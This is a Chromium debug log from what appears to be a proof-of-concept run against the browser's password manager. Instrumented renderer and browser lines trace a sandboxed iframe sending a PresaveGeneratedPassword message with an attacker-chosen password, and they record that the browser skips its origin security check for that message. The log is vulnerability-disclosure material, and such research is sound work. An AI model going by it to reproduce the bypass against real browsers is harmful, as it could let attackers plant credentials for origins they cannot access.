[1218:1218:0528/142053.530227:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1527] [POC-RENDERER] sandboxed iframe loaded (http://127.0.0.1:8080/sb.html?poc-sandboxed-trigger)
[1218:1218:0528/142053.530361:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1528] [POC-RENDERER] FrameCanAccessPasswordManager() = 0  (renderer-side guard; compromised renderer bypasses this)
[1218:1218:0528/142053.530532:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1541] [POC-RENDERER] sent PasswordGenerationDriver::PresaveGeneratedPassword (un-gated on browser side)
[1218:1218:0528/142053.530674:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1549] [POC-RENDERER] sent PasswordManagerDriver::PasswordFormSubmitted (CPSP-gated on browser side -> we should be killed)
[1118:1118:0528/142053.544456:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1600] [POC-BROWSER] PresaveGeneratedPassword IPC received in browser process
[1118:1118:0528/142053.544494:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1603] [POC-BROWSER]   sender RFH GetLastCommittedURL = http://127.0.0.1:8080/sb.html?poc-sandboxed-trigger
[1118:1118:0528/142053.544508:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1605] [POC-BROWSER]   sender RFH GetLastCommittedOrigin = null [internally: (0684CB921FC74EE6BAEC1B78C1A9051F) derived from http://127.0.0.1:8080] (opaque=1)
[1118:1118:0528/142053.544537:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1607] [POC-BROWSER]   ChildProcessSecurityPolicy::CanAccessDataForOrigin(sender_process, http://127.0.0.1:8080) = 0
[1118:1118:0528/142053.544553:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1611] [POC-BROWSER]   form.url after browser-side stamping = http://127.0.0.1:8080/sb.html  (precursor origin)
[1118:1118:0528/142053.544567:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1613] [POC-BROWSER]   attacker-supplied password_value = attacker-chosen-pw
[1118:1118:0528/142053.544581:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1616] [POC-BROWSER]   *** CPSP would DENY this process access to the precursor origin, but PresaveGeneratedPassword performs NO CheckChildProcessSecurityPolicyForURL -> handler proceeds. ***
[1118:1118:0528/142053.544890:WARNING:components/password_manager/content/browser/bad_message.cc:59] Killing renderer: illegal password access. Reason: 3
[1118:1118:0528/142053.544970:ERROR:components/password_manager/content/browser/bad_message.cc:23] Terminating renderer for bad PasswordManager IPC message, reason 3